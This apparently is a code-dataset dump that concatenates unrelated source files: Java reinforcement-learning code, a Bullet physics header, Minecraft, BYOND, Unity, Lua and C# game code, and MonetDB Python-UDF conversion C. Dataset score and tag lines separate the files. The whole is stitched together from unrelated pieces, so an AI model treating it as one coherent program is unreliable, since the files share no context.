false; maxValue = value; bestActionId = actionId; } } //返回最佳动作 return bestActionId; } private void strategyEvaluation() throws Exception {//策略评估 float maxSub;//最大差值 do { maxSub = 0; for (DynamicState dynamicState : dynamicStateList) {//当前状态 if (!dynamicState.isFinish()) {//非终结态 float sub = valueEvaluation(dynamicState);//返回一个差 if (sub > maxSub) { maxSub = sub; } } } } while (maxSub >= valueTh); } private float getValueByAction(DynamicState dynamicState, int actionId) throws Exception {//通过动作获取价值 Map<Integer, List<DynamicState>> sonStatesMap = dynamicState.getSonStatesMap();//动作-子状态集合 List<DynamicState> sonStateListByAction = sonStatesMap.get(actionId);//当前状态最优策略动作下的子状态集合 if (sonStateListByAction == null) { throw new Exception("该状态无下一步动作!可能该状态属于终结态,但并没有设置为终结态!"); } float number = dynamicState.getNumber();//当前状态被执行的次数即所有子状态被执行的总数 float updateValue = 0;//更新价值 for (DynamicState sonState : sonStateListByAction) { Map<Integer, Integer> profitMap = sonState.getProfitMap();//子状态收益集合 float sonNumber = sonState.getNumber();//该子状态执行的次数即该子状态所有收益被执行的总次数 float sonPro = sonNumber / number;//当前子状态在当前最优策略动作下被执行的概率 float value = sonState.getValue() * gaMa;//该子状态的价值 //先对r求和 float sigmaR = 0; for (Map.Entry<Integer, Integer> entryProfit : profitMap.entrySet()) { float profit = entryProfit.getKey();//--获取profit的收益 float profitNumber = entryProfit.getValue();//--获取profit收益的次数 float profitPro = (profitNumber / sonNumber) * sonPro;//在当前策略动作下产生的环境,产生profit收益的概率 float v = (value + profit) * profitPro;//价值 sigmaR = sigmaR + v; } updateValue = updateValue + sigmaR; } return updateValue; } private float valueEvaluation(DynamicState dynamicState) throws Exception {//价值评估 float myValue = dynamicState.getValue();//当前价值 int bestActionId = dynamicState.getBestActionId();//当前最优策略选择的动作 float updateValue = getValueByAction(dynamicState, bestActionId); dynamicState.setValue(updateValue);//更新价值 return (float)Math.abs(myValue - updateValue); } //策略迭代 //状态是当前环境的向量主键与价值函数 //动作(包含动作的规则)是执行完成一个动作之后返回一个新的状态 //策略决定执行什么动作,动作执行结束之后的收益是多少 }
1
0.886123
1
0.886123
game-dev
MEDIA
0.833102
game-dev
0.970967
1
0.970967
stuartcaunt/isgl3d
3,455
external/bullet/BulletCollision/CollisionDispatch/btUnionFind.h
/* Bullet Continuous Collision Detection and Physics Library Copyright (c) 2003-2006 Erwin Coumans http://continuousphysics.com/Bullet/ This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ #ifndef UNION_FIND_H #define UNION_FIND_H #include "LinearMath/btAlignedObjectArray.h" #define USE_PATH_COMPRESSION 1 ///see for discussion of static island optimizations by Vroonsh here: http://code.google.com/p/bullet/issues/detail?id=406 #define STATIC_SIMULATION_ISLAND_OPTIMIZATION 1 struct btElement { int m_id; int m_sz; }; ///UnionFind calculates connected subsets // Implements weighted Quick Union with path compression // optimization: could use short ints instead of ints (halving memory, would limit the number of rigid bodies to 64k, sounds reasonable) class btUnionFind { private: btAlignedObjectArray<btElement> m_elements; public: btUnionFind(); ~btUnionFind(); //this is a special operation, destroying the content of btUnionFind. //it sorts the elements, based on island id, in order to make it easy to iterate over islands void sortIslands(); void reset(int N); SIMD_FORCE_INLINE int getNumElements() const { return int(m_elements.size()); } SIMD_FORCE_INLINE bool isRoot(int x) const { return (x == m_elements[x].m_id); } btElement& getElement(int index) { return m_elements[index]; } const btElement& getElement(int index) const { return m_elements[index]; } void allocate(int N); void Free(); int find(int p, int q) { return (find(p) == find(q)); } void unite(int p, int q) { int i = find(p), j = find(q); if (i == j) return; #ifndef USE_PATH_COMPRESSION //weighted quick union, this keeps the 'trees' balanced, and keeps performance of unite O( log(n) ) if (m_elements[i].m_sz < m_elements[j].m_sz) { m_elements[i].m_id = j; m_elements[j].m_sz += m_elements[i].m_sz; } else { m_elements[j].m_id = i; m_elements[i].m_sz += m_elements[j].m_sz; } #else m_elements[i].m_id = j; m_elements[j].m_sz += m_elements[i].m_sz; #endif //USE_PATH_COMPRESSION } int find(int x) { //btAssert(x < m_N); //btAssert(x >= 0); while (x != m_elements[x].m_id) { //not really a reason not to use path compression, and it flattens the trees/improves find performance dramatically #ifdef USE_PATH_COMPRESSION const btElement* elementPtr = &m_elements[m_elements[x].m_id]; m_elements[x].m_id = elementPtr->m_id; x = elementPtr->m_id; #else// x = m_elements[x].m_id; #endif //btAssert(x < m_N); //btAssert(x >= 0); } return x; } }; #endif //UNION_FIND_H
1
0.975022
1
0.975022
game-dev
MEDIA
0.449493
game-dev
0.973469
1
0.973469
filoghost/HolographicDisplays
1,954
nms/v1_20_r2/src/main/java/me/filoghost/holographicdisplays/nms/v1_20_R2/VersionItemNMSPacketEntity.java
/* * Copyright (C) filoghost and contributors * * SPDX-License-Identifier: GPL-3.0-or-later */ package me.filoghost.holographicdisplays.nms.v1_20_R2; import me.filoghost.holographicdisplays.common.PositionCoordinates; import me.filoghost.holographicdisplays.nms.common.EntityID; import me.filoghost.holographicdisplays.nms.common.PacketGroup; import me.filoghost.holographicdisplays.nms.common.entity.ItemNMSPacketEntity; import org.bukkit.inventory.ItemStack; class VersionItemNMSPacketEntity implements ItemNMSPacketEntity { private final EntityID itemID; private final EntityID vehicleID; VersionItemNMSPacketEntity(EntityID itemID, EntityID vehicleID) { this.itemID = itemID; this.vehicleID = vehicleID; } @Override public PacketGroup newSpawnPackets(PositionCoordinates position, ItemStack itemStack) { return PacketGroup.of( new EntitySpawnNMSPacket(vehicleID, EntityTypeID.ARMOR_STAND, position, ITEM_Y_OFFSET), EntityMetadataNMSPacket.builder(vehicleID) .setArmorStandMarker() .build(), new EntitySpawnNMSPacket(itemID, EntityTypeID.ITEM, position, ITEM_Y_OFFSET), EntityMetadataNMSPacket.builder(itemID) .setItemStack(itemStack) .build(), new EntityMountNMSPacket(vehicleID, itemID) ); } @Override public PacketGroup newChangePackets(ItemStack itemStack) { return EntityMetadataNMSPacket.builder(itemID) .setItemStack(itemStack) .build(); } @Override public PacketGroup newTeleportPackets(PositionCoordinates position) { return new EntityTeleportNMSPacket(vehicleID, position, ITEM_Y_OFFSET); } @Override public PacketGroup newDestroyPackets() { return new EntityDestroyNMSPacket(itemID, vehicleID); } }
1
0.865409
1
0.865409
game-dev
MEDIA
0.822169
game-dev
0.7957
1
0.7957
goonstation/goonstation
2,525
code/modules/admin/buildmodes/adventure/elements/speaker.dm
/datum/puzzlewizard/speaker name = "AB CREATE: Speaker" var/speaker_name var/speaker_type var/speaker_anchored = ANCHORED var/color_rgb = "" var/message initialize() speaker_name = input("Speaker name", "Speaker name", "speaker") as text speaker_type = input("Speaker type", "Speaker type", "headset") in list("headset", "intercom", "radio", "radiohorn", "invisible") if (speaker_type != "invisible") var/anchstr = input("Is the speaker anchored (unabled to be pulled)?", "Anchored", "yes") in list("yes", "no") speaker_anchored = (anchstr == "yes") ? 1 : 0 color_rgb = input("Color", "Color", "#ffffff") as color message = input("Speaker message", "Speaker message") as text boutput(usr, SPAN_NOTICE("Left click to place speaker, right click to simulate message. Ctrl+click anywhere to finish.")) build_click(var/mob/user, var/datum/buildmode_holder/holder, var/list/pa, var/atom/object) if ("left" in pa) var/turf/T = get_turf(object) if ("ctrl" in pa) finished = 1 return if (T) var/obj/adventurepuzzle/triggerable/speaker/speaker = new /obj/adventurepuzzle/triggerable/speaker(T) speaker.name = speaker_name speaker.speaker_type = speaker_type speaker.icon_state = "speaker_[speaker_type]" speaker.set_dir(holder.dir) speaker.anchored = speaker_anchored speaker.message = message if (speaker_type == "invisible") speaker.invisibility = INVIS_ADVENTURE else SPAWN(1 SECOND) speaker.color = color_rgb else if ("right" in pa) if (istype(object, /obj/adventurepuzzle/triggerable/speaker)) object:speak() /obj/adventurepuzzle/triggerable/speaker name = "speaker" desc = "A strange device that emits sound, truly the future." anchored = ANCHORED var/speaker_type var/message var/floating_text = FALSE var/floating_text_style = "" var/static/list/triggeracts = list("Do nothing" = "nop", "Speak message" = "speak", "Toggle floating text" = "toggletext") trigger_actions() return triggeracts trigger(var/act) switch (act) if ("speak") src.say(src.message) if ("toggletext") src.floating_text = !src.floating_text serialize(var/savefile/F, var/path, var/datum/sandbox/sandbox) ..() F["[path].message"] << message F["[path].speaker_type"] << speaker_type deserialize(var/savefile/F, var/path, var/datum/sandbox/sandbox) . = ..() F["[path].message"] >> message F["[path].speaker_type"] >> speaker_type if (speaker_type == "invisible") src.invisibility = INVIS_ADVENTURE
1
0.545572
1
0.545572
game-dev
MEDIA
0.927227
game-dev
0.765442
1
0.765442
Alexejhero/Fragmented
3,623
Packages/FMOD/FMOD/src/EventHandler.cs
using UnityEngine; using UnityEngine.EventSystems; namespace FMODUnity { public abstract class EventHandler : MonoBehaviour, IPointerEnterHandler, IPointerExitHandler, IPointerDownHandler, IPointerUpHandler { public string CollisionTag = ""; protected virtual void Start() { HandleGameEvent(EmitterGameEvent.ObjectStart); } protected virtual void OnDestroy() { HandleGameEvent(EmitterGameEvent.ObjectDestroy); } private void OnEnable() { HandleGameEvent(EmitterGameEvent.ObjectEnable); } private void OnDisable() { HandleGameEvent(EmitterGameEvent.ObjectDisable); } #if UNITY_PHYSICS_EXIST private void OnTriggerEnter(Collider other) { if (string.IsNullOrEmpty(CollisionTag) || other.CompareTag(CollisionTag) || (other.attachedRigidbody && other.attachedRigidbody.CompareTag(CollisionTag))) { HandleGameEvent(EmitterGameEvent.TriggerEnter); } } private void OnTriggerExit(Collider other) { if (string.IsNullOrEmpty(CollisionTag) || other.CompareTag(CollisionTag) || (other.attachedRigidbody && other.attachedRigidbody.CompareTag(CollisionTag))) { HandleGameEvent(EmitterGameEvent.TriggerExit); } } #endif #if UNITY_PHYSICS2D_EXIST private void OnTriggerEnter2D(Collider2D other) { if (string.IsNullOrEmpty(CollisionTag) || other.CompareTag(CollisionTag)) { HandleGameEvent(EmitterGameEvent.TriggerEnter2D); } } private void OnTriggerExit2D(Collider2D other) { if (string.IsNullOrEmpty(CollisionTag) || other.CompareTag(CollisionTag)) { HandleGameEvent(EmitterGameEvent.TriggerExit2D); } } #endif private void OnCollisionEnter() { HandleGameEvent(EmitterGameEvent.CollisionEnter); } private void OnCollisionExit() { HandleGameEvent(EmitterGameEvent.CollisionExit); } private void OnCollisionEnter2D() { HandleGameEvent(EmitterGameEvent.CollisionEnter2D); } private void OnCollisionExit2D() { HandleGameEvent(EmitterGameEvent.CollisionExit2D); } private void OnMouseEnter() { HandleGameEvent(EmitterGameEvent.ObjectMouseEnter); } private void OnMouseExit() { HandleGameEvent(EmitterGameEvent.ObjectMouseExit); } private void OnMouseDown() { HandleGameEvent(EmitterGameEvent.ObjectMouseDown); } private void OnMouseUp() { HandleGameEvent(EmitterGameEvent.ObjectMouseUp); } public void OnPointerEnter(PointerEventData eventData) { HandleGameEvent(EmitterGameEvent.UIMouseEnter); } public void OnPointerExit(PointerEventData eventData) { HandleGameEvent(EmitterGameEvent.UIMouseExit); } public void OnPointerDown(PointerEventData eventData) { HandleGameEvent(EmitterGameEvent.UIMouseDown); } public void OnPointerUp(PointerEventData eventData) { HandleGameEvent(EmitterGameEvent.UIMouseUp); } protected abstract void HandleGameEvent(EmitterGameEvent gameEvent); } }
1
0.675492
1
0.675492
game-dev
MEDIA
0.987331
game-dev
0.663338
1
0.663338
0x7c13/Pal3.Unity
1,555
Assets/Plugins/IngameDebugConsole/Scripts/DebugsOnScrollListener.cs
using UnityEngine; using UnityEngine.UI; using UnityEngine.EventSystems; // Listens to scroll events on the scroll rect that debug items are stored // and decides whether snap to bottom should be true or not // // Procedure: if, after a user input (drag or scroll), scrollbar is at the bottom, then // snap to bottom shall be true, otherwise it shall be false namespace IngameDebugConsole { public class DebugsOnScrollListener : MonoBehaviour, IScrollHandler, IBeginDragHandler, IEndDragHandler { public ScrollRect debugsScrollRect; public DebugLogManager debugLogManager; public void OnScroll( PointerEventData data ) { if( IsScrollbarAtBottom() ) debugLogManager.SetSnapToBottom( true ); else debugLogManager.SetSnapToBottom( false ); } public void OnBeginDrag( PointerEventData data ) { debugLogManager.SetSnapToBottom( false ); } public void OnEndDrag( PointerEventData data ) { if( IsScrollbarAtBottom() ) debugLogManager.SetSnapToBottom( true ); else debugLogManager.SetSnapToBottom( false ); } public void OnScrollbarDragStart( BaseEventData data ) { debugLogManager.SetSnapToBottom( false ); } public void OnScrollbarDragEnd( BaseEventData data ) { if( IsScrollbarAtBottom() ) debugLogManager.SetSnapToBottom( true ); else debugLogManager.SetSnapToBottom( false ); } private bool IsScrollbarAtBottom() { float scrollbarYPos = debugsScrollRect.verticalNormalizedPosition; if( scrollbarYPos <= 1E-6f ) return true; return false; } } }
1
0.647194
1
0.647194
game-dev
MEDIA
0.793619
game-dev
0.699991
1
0.699991
Arisotura/SM64DSe
2,260
OffsetAllObjectCoordsForm.cs
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Globalization; namespace SM64DSe { public partial class OffsetAllObjectCoordsForm : Form { public static readonly LevelObject.Type[] k_MovableLevelObjectTypes = new LevelObject.Type[] { LevelObject.Type.STANDARD, LevelObject.Type.SIMPLE, LevelObject.Type.ENTRANCE, LevelObject.Type.EXIT, LevelObject.Type.DOOR, LevelObject.Type.PATH_NODE, LevelObject.Type.VIEW, LevelObject.Type.TELEPORT_SOURCE, LevelObject.Type.TELEPORT_DESTINATION }; protected LevelEditorForm _owner; public OffsetAllObjectCoordsForm() { InitializeComponent(); } private void btnUpdate_Click(object sender, EventArgs e) { this._owner = (LevelEditorForm)Owner; IEnumerable<LevelObject> objects = _owner.m_Level.m_LevelObjects.Values.Where(obj => k_MovableLevelObjectTypes.Contains(obj.m_Type)); try { foreach (LevelObject obj in objects) { if (chkOffsetAll.Checked) { obj.Position.X += Helper.ParseFloat(txtOffsetX.Text); obj.Position.Y += Helper.ParseFloat(txtOffsetY.Text); obj.Position.Z += Helper.ParseFloat(txtOffsetZ.Text); } if (chkScaleAll.Checked) { obj.Position.X *= Helper.ParseFloat(txtScaleX.Text); obj.Position.Y *= Helper.ParseFloat(txtScaleY.Text); obj.Position.Z *= Helper.ParseFloat(txtScaleZ.Text); } obj.GenerateProperties(); } for (int area = 0; area < Level.k_MaxNumAreas; area++) _owner.RefreshObjects(area); } catch { MessageBox.Show("Please enter a valid value in the format x.xxxxxx"); } } } }
1
0.82498
1
0.82498
game-dev
MEDIA
0.41805
game-dev,desktop-app
0.931847
1
0.931847
Ruin0x11/OpenNefia
4,310
src/api/Mef.lua
--- @module Mef local Log = require("api.Log") local Event = require("api.Event") local Map = require("api.Map") local MapObject = require("api.MapObject") local ILocation = require("api.ILocation") local field = require("game.field") local Mef = {} --- Iterates the mefs at the given position. --- --- @tparam int x --- @tparam int y --- @tparam[opt] InstancedMap map function Mef.at(x, y, map) map = map or field.map if not map:is_in_bounds(x, y) then return fun.iter({}) end return map:iter_type_at_pos("base.mef", x, y):nth(1) end --- Iterates all mefs in the map. --- --- @tparam[opt] InstancedMap map --- @treturn Iterator(IMef) function Mef.iter(map) return (map or field.map):iter_type("base.mef") end --- Returns true if this mef is valid. --- --- @tparam[opt] IMef mef --- @tparam[opt] InstancedMap map Map to check for existence in function Mef.is_alive(mef, map) map = map or Map.current() if type(mef) ~= "table" then return false end if map == nil then return mef:current_map() ~= nil end local their_map = mef:current_map() if not their_map then return false end return their_map.uid == map.uid end --- Creates a new mef. Returns the mef on success, or nil if --- creation failed. --- --- @tparam id:base.mef id --- @tparam[opt] int x Defaults to a random free position on the map. --- @tparam[opt] int y --- @tparam[opt] table params Extra parameters. --- - ownerless (bool): Do not attach the mef to a map. If true, then `where` is ignored. --- - no_build (bool): Do not call :build() on the object. --- - approximate_pos (bool): If position is not accessable, put the mef somewhere close. --- - allow_stacking (bool): If true, ignore items on the ground when --- checking for tile openness. --- - origin (IMapObject): Thing that created this mef, to check if the player --- should be accused of hurting something indirectly through it. --- - duration (uint): How many turns the mef should last. Defaults to 10. -1 means the mef will never be removed. --- - power (uint): Power of the mef. Defaults to 0. --- @tparam[opt] ILocation where Where to instantiate this mef. --- Defaults to the current map. --- @treturn[opt] IMef --- @treturn[opt] string error --- @hsp addMef x, y, id, pic, params.duration, params.power, params.origin, ref, ref2, color function Mef.create(id, x, y, params, where) params = params or {} params.allow_stacking = params.allow_stacking or true params.approximate_pos = params.approximate_pos or false if params.ownerless then where = nil else if where == nil then Log.warn("Implicit global map used in Mef.create().") if Log.has_level("debug") then Log.debug("%s", debug.traceback()) end end where = where or field.map end if not class.is_an(ILocation, where) and not params.ownerless then return nil, "invalid location" end if where and where:is_positional() then if x == nil or y == nil then x, y = Map.find_free_position(x, y, {only_map=true}, where) end if not Map.is_floor(x, y, where) then return nil, "cannot access tile" end end local origin_uid if params.origin then assert(class.is_an("api.IMapObject", params.origin)) origin_uid = params.origin.uid end local gen_params = { no_build = params.no_build, build_params = params } local mef = MapObject.generate_from("base.mef", id, params.uid_tracker or nil) mef.origin_uid = origin_uid mef.turns = params.duration or 10 mef.power = params.power or 0 if where then local other_mef = Mef.at(x, y, where) if other_mef then where:remove_object(other_mef) end mef = where:take_object(mef, x, y) if not mef then if other_mef then assert(where:take_object(other_mef, x, y)) end return nil, "location failed to receive mef" end assert(mef:get_location() == where) assert(mef:current_map()) end local ok, err = xpcall(MapObject.finalize, debug.traceback, mef, gen_params) if not ok then Log.error(err) mef:remove_ownership() return nil, err end mef:refresh() return mef end return Mef
1
0.913392
1
0.913392
game-dev
MEDIA
0.674688
game-dev
0.794015
1
0.794015
Gaby-Station/Gaby-Station
9,808
Content.Goobstation.Server/Power/PTL/PTLSystem.cs
// SPDX-FileCopyrightText: 2025 Aiden <28298836+Aidenkrz@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 GabyChangelog <agentepanela2@gmail.com> // SPDX-FileCopyrightText: 2025 GoobBot <uristmchands@proton.me> // SPDX-FileCopyrightText: 2025 IrisTheAmped <iristheamped@gmail.com> // SPDX-FileCopyrightText: 2025 McBosserson <148172569+McBosserson@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 McBosserson <mcbosserson@hotmail.com> // SPDX-FileCopyrightText: 2025 Richard Blonski <48651647+RichardBlonski@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 Roudenn <romabond091@gmail.com> // SPDX-FileCopyrightText: 2025 SX-7 <92227810+SX-7@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 SoundingExpert <204983230+SoundingExpert@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 john git <113782077+whateverusername0@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 whateverusername0 <whateveremail> // // SPDX-License-Identifier: AGPL-3.0-or-later using Content.Goobstation.Shared.Power.PTL; using Content.Server.Flash; using Content.Server.Popups; using Content.Server.Power.Components; using Content.Server.Power.SMES; using Content.Server.Stack; using Content.Server.Weapons.Ranged.Systems; using Content.Shared.Emag.Components; using Content.Shared.Emag.Systems; using Content.Shared.Examine; using Content.Shared.Interaction; using Content.Shared.Radiation.Components; using Content.Shared.Stacks; using Content.Shared.Tag; using Content.Shared.Weapons.Ranged; using Content.Shared.Weapons.Ranged.Components; using Microsoft.CodeAnalysis.CSharp.Syntax; using Robust.Server.Audio; using Robust.Server.GameObjects; using Robust.Shared.Audio; using Robust.Shared.Map; using Robust.Shared.Prototypes; using Robust.Shared.Timing; using System.Numerics; using System.Text; namespace Content.Goobstation.Server.Power.PTL; public sealed partial class PTLSystem : EntitySystem { [Dependency] private readonly GunSystem _gun = default!; [Dependency] private readonly IGameTiming _time = default!; [Dependency] private readonly IPrototypeManager _protMan = default!; [Dependency] private readonly FlashSystem _flash = default!; [Dependency] private readonly TagSystem _tag = default!; [Dependency] private readonly PopupSystem _popup = default!; [Dependency] private readonly StackSystem _stack = default!; [Dependency] private readonly AudioSystem _aud = default!; [Dependency] private readonly EmagSystem _emag = default!; [ValidatePrototypeId<StackPrototype>] private readonly string _stackCredits = "Credit"; [ValidatePrototypeId<TagPrototype>] private readonly string _tagScrewdriver = "Screwdriver"; [ValidatePrototypeId<TagPrototype>] private readonly string _tagMultitool = "Multitool"; private readonly SoundPathSpecifier _soundKaching = new("/Audio/Effects/kaching.ogg"); private readonly SoundPathSpecifier _soundSparks = new("/Audio/Effects/sparks4.ogg"); private readonly SoundPathSpecifier _soundPower = new("/Audio/Effects/tesla_consume.ogg"); public override void Initialize() { base.Initialize(); UpdatesAfter.Add(typeof(SmesSystem)); SubscribeLocalEvent<PTLComponent, InteractHandEvent>(OnInteractHand); SubscribeLocalEvent<PTLComponent, AfterInteractUsingEvent>(OnAfterInteractUsing); SubscribeLocalEvent<PTLComponent, ExaminedEvent>(OnExamine); SubscribeLocalEvent<PTLComponent, GotEmaggedEvent>(OnEmagged); } public override void Update(float frameTime) { base.Update(frameTime); var eqe = EntityQueryEnumerator<PTLComponent>(); while (eqe.MoveNext(out var uid, out var ptl)) { if (_time.CurTime > ptl.RadDecayTimer) { ptl.RadDecayTimer = _time.CurTime + TimeSpan.FromSeconds(1); DecayRad((uid, ptl)); } if (!ptl.Active) continue; if (_time.CurTime > ptl.NextShotAt) { ptl.NextShotAt = _time.CurTime + TimeSpan.FromSeconds(ptl.ShootDelay); Tick((uid, ptl)); } } } private void DecayRad(Entity<PTLComponent> ent) { if (TryComp<RadiationSourceComponent>(ent, out var rad) && rad.Intensity > 0) rad.Intensity = MathF.Max(0, rad.Intensity - (rad.Intensity * 0.2f + 0.1f)); // Making sure the radition value doesn't go below } private void Tick(Entity<PTLComponent> ent) { if (!TryComp<BatteryComponent>(ent, out var battery) || battery.CurrentCharge < ent.Comp.MinShootPower) return; Shoot((ent, ent.Comp, battery)); Dirty(ent); } private void Shoot(Entity<PTLComponent, BatteryComponent> ent) { var megajoule = 1e6; // Measure battery before firing. var chargeBefore = ent.Comp2.CurrentCharge; if (chargeBefore <= 0) return; // Configure consumption and damage based on planned energy use (capped). if (TryComp<HitscanBatteryAmmoProviderComponent>(ent, out var hitscan)) { var desiredFireCost = (float) Math.Min(chargeBefore, ent.Comp1.MaxEnergyPerShot); if (desiredFireCost <= 0) return; hitscan.FireCost = desiredFireCost; // Scale damage from the planned energy use (in MJ); var plannedMJ = desiredFireCost / (float) megajoule; var prot = _protMan.Index<HitscanPrototype>(hitscan.Prototype); prot.Damage = ent.Comp1.BaseBeamDamage * plannedMJ * 2f; } if (TryComp<GunComponent>(ent, out var gun)) { if (!TryComp<TransformComponent>(ent, out var xform)) return; var localDirectionVector = Vector2.UnitY * -1; if (ent.Comp1.ReversedFiring) localDirectionVector *= -1f; var directionInParentSpace = xform.LocalRotation.RotateVec(localDirectionVector); var targetCoords = xform.Coordinates.Offset(directionInParentSpace); _gun.AttemptShoot(ent, ent, gun, targetCoords); } // Determine actual energy used. var chargeAfter = ent.Comp2.CurrentCharge; var energyUsed = Math.Max(0.0, chargeBefore - chargeAfter); if (energyUsed <= 0) return; var usedMJ = energyUsed / megajoule; // some random formula i found in bounty thread i popped it into desmos i think it looks good var spesos = (int) (usedMJ * 500 / (Math.Log(usedMJ * 5) + 1)); if (!double.IsFinite(spesos) || spesos < 0) return; // EVIL behavior based on energy actually used. var evil = (float) (usedMJ * ent.Comp1.EvilMultiplier); if (TryComp<RadiationSourceComponent>(ent, out var rad)) rad.Intensity = evil; _flash.FlashArea(ent.Owner, ent, evil/2, TimeSpan.FromSeconds(evil / 2)); ent.Comp1.SpesosHeld += spesos; } private void OnInteractHand(Entity<PTLComponent> ent, ref InteractHandEvent args) { if (args.Handled) return; ent.Comp.Active = !ent.Comp.Active; var enloc = ent.Comp.Active ? Loc.GetString("ptl-enabled") : Loc.GetString("ptl-disabled"); var enabled = Loc.GetString("ptl-interact-enabled", ("enabled", enloc)); _popup.PopupEntity(enabled, ent, Content.Shared.Popups.PopupType.SmallCaution); _aud.PlayPvs(_soundPower, args.User); Dirty(ent); args.Handled = true; } private void OnAfterInteractUsing(Entity<PTLComponent> ent, ref AfterInteractUsingEvent args) { if (args.Handled) return; var held = args.Used; if (_tag.HasTag(held, _tagScrewdriver)) { var delay = ent.Comp.ShootDelay + ent.Comp.ShootDelayIncrement; if (delay > ent.Comp.ShootDelayThreshold.Max) delay = ent.Comp.ShootDelayThreshold.Min; ent.Comp.ShootDelay = delay; _popup.PopupEntity(Loc.GetString("ptl-interact-screwdriver", ("delay", ent.Comp.ShootDelay)), ent); _aud.PlayPvs(_soundSparks, args.User); args.Handled = true; return; } if (_tag.HasTag(held, _tagMultitool)) { if (!Transform(ent).Anchored) // Check if Anchored. return; var stackPrototype = _protMan.Index<StackPrototype>(_stackCredits); _stack.Spawn((int) ent.Comp.SpesosHeld, stackPrototype, Transform(args.User).Coordinates); ent.Comp.SpesosHeld = 0; _popup.PopupEntity(Loc.GetString("ptl-interact-spesos"), ent); _aud.PlayPvs(_soundKaching, args.User); args.Handled = true; return; } Dirty(ent); } private void OnExamine(Entity<PTLComponent> ent, ref ExaminedEvent args) { var sb = new StringBuilder(); var enloc = ent.Comp.Active ? Loc.GetString("ptl-enabled") : Loc.GetString("ptl-disabled"); sb.AppendLine(Loc.GetString("ptl-examine-enabled", ("enabled", enloc))); sb.AppendLine(Loc.GetString("ptl-examine-spesos", ("spesos", ent.Comp.SpesosHeld))); sb.AppendLine(Loc.GetString("ptl-examine-screwdriver")); args.PushMarkup(sb.ToString()); } private void OnEmagged(EntityUid uid, PTLComponent component, ref GotEmaggedEvent args) { if (!_emag.CompareFlag(args.Type, EmagType.Interaction)) return; if (_emag.CheckFlag(uid, EmagType.Interaction)) return; if (component.ReversedFiring) return; component.ReversedFiring = true; args.Handled = true; } }
1
0.913912
1
0.913912
game-dev
MEDIA
0.95702
game-dev
0.948813
1
0.948813
MonetDB/MonetDB-old
34,225
sql/backends/monet5/UDF/pyapi3/conversion3.c
/* * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * * Copyright 1997 - July 2008 CWI, August 2008 - 2020 MonetDB B.V. */ #include "monetdb_config.h" #include "conversion.h" #include "convert_loops.h" #include "pytypes.h" #include "type_conversion.h" #include "unicode.h" #include "blob.h" #include "gdk_interprocess.h" //! Wrapper to get eclass of SQL type int GetSQLType(sql_subtype *sql_subtype); static bool IsBlobType(int type) { return type == TYPE_blob; } static bool IsVoidType(int type) { return type == TYPE_void; } PyObject *PyArrayObject_FromScalar(PyInput *inp, char **return_message) { PyObject *vararray = NULL; char *msg = NULL; assert(inp->scalar); // input has to be a scalar switch (inp->bat_type) { case TYPE_void: #if SIZEOF_OID == SIZEOF_INT vararray = PyArray_Arange(0, 1, 1, NPY_UINT); #else vararray = PyArray_Arange(0, 1, 1, NPY_ULONGLONG); #endif break; case TYPE_oid: vararray = PyInt_FromLong((long)(*(oid *)inp->dataptr)); break; case TYPE_bit: vararray = PyInt_FromLong((long)(*(bit *)inp->dataptr)); break; case TYPE_bte: vararray = PyInt_FromLong((long)(*(bte *)inp->dataptr)); break; case TYPE_sht: vararray = PyInt_FromLong((long)(*(sht *)inp->dataptr)); break; case TYPE_int: vararray = PyInt_FromLong((long)(*(int *)inp->dataptr)); break; case TYPE_lng: vararray = PyLong_FromLongLong((*(lng *)inp->dataptr)); break; case TYPE_flt: vararray = PyFloat_FromDouble((double)(*(flt *)inp->dataptr)); break; case TYPE_dbl: vararray = PyFloat_FromDouble((double)(*(dbl *)inp->dataptr)); break; #ifdef HAVE_HGE case TYPE_hge: vararray = PyLong_FromHge(*((hge *)inp->dataptr)); break; #endif case TYPE_str: vararray = PyUnicode_FromString(*((char **)inp->dataptr)); break; default: msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Unsupported scalar type %i.", inp->bat_type); goto wrapup; } if (vararray == NULL) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Something went wrong " "converting the MonetDB " "scalar to a Python scalar."); goto wrapup; } wrapup: *return_message = msg; return vararray; } PyObject *PyMaskedArray_FromBAT(PyInput *inp, size_t t_start, size_t t_end, char **return_message, bool copy) { BAT *b; char *msg; PyObject *vararray; vararray = PyArrayObject_FromBAT(inp, t_start, t_end, return_message, copy); if (vararray == NULL) { return NULL; } b = inp->bat; // To deal with null values, we use the numpy masked array structure // The masked array structure is an object with two arrays of equal size, a // data array and a mask array // The mask array is a boolean array that has the value 'True' when the // element is NULL, and 'False' otherwise // if we know for sure that the BAT has no NULL values, we can skip the construction // of this masked array. Otherwise, we create it. if (b->tnil || !b->tnonil) { PyObject *mask; PyObject *mafunc = PyObject_GetAttrString( PyImport_Import(PyString_FromString("numpy.ma")), "masked_array"); PyObject *maargs; PyObject *nullmask = PyNullMask_FromBAT(b, t_start, t_end); if (!nullmask) { msg = createException(MAL, "pyapi3.eval", "Failed to create mask for some reason"); goto wrapup; } else if (nullmask == Py_None) { maargs = PyTuple_New(1); PyTuple_SetItem(maargs, 0, vararray); } else { maargs = PyTuple_New(2); PyTuple_SetItem(maargs, 0, vararray); PyTuple_SetItem(maargs, 1, (PyObject *)nullmask); } // Now we will actually construct the mask by calling the masked array // constructor mask = PyObject_CallObject(mafunc, maargs); if (!mask) { msg = createException(MAL, "pyapi3.eval", SQLSTATE(PY000) "Failed to create mask"); goto wrapup; } Py_DECREF(maargs); Py_DECREF(mafunc); vararray = mask; } return vararray; wrapup: *return_message = msg; return NULL; } 